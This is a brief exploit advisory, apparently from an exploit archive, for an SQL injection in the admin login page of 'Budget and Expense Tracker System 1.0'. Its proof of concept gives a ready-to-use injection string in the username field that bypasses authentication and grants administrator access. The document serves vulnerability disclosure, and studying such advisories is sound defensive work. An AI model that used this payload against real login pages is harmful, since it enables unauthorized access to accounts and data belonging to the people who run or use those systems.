Authored by Prunier Charles-Yves

Budget and Expense Tracker System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

# Exploit Title: Budget and Expense Tracker System 1.0 - Authenticated Bypass
# Exploit Author: Prunier Charles-Yves
# Date: September 20, 2021
# Vendor Homepage:
# Software Link:
# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0

# Exploit Description:
Budget and Expense Tracker System 1.0, is prone to an Easy authentication bypass vulnerability on the application
allowing the attacker to login with admin acount

----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/expense_budget/admin/login.php

Username: admin' or ''=' --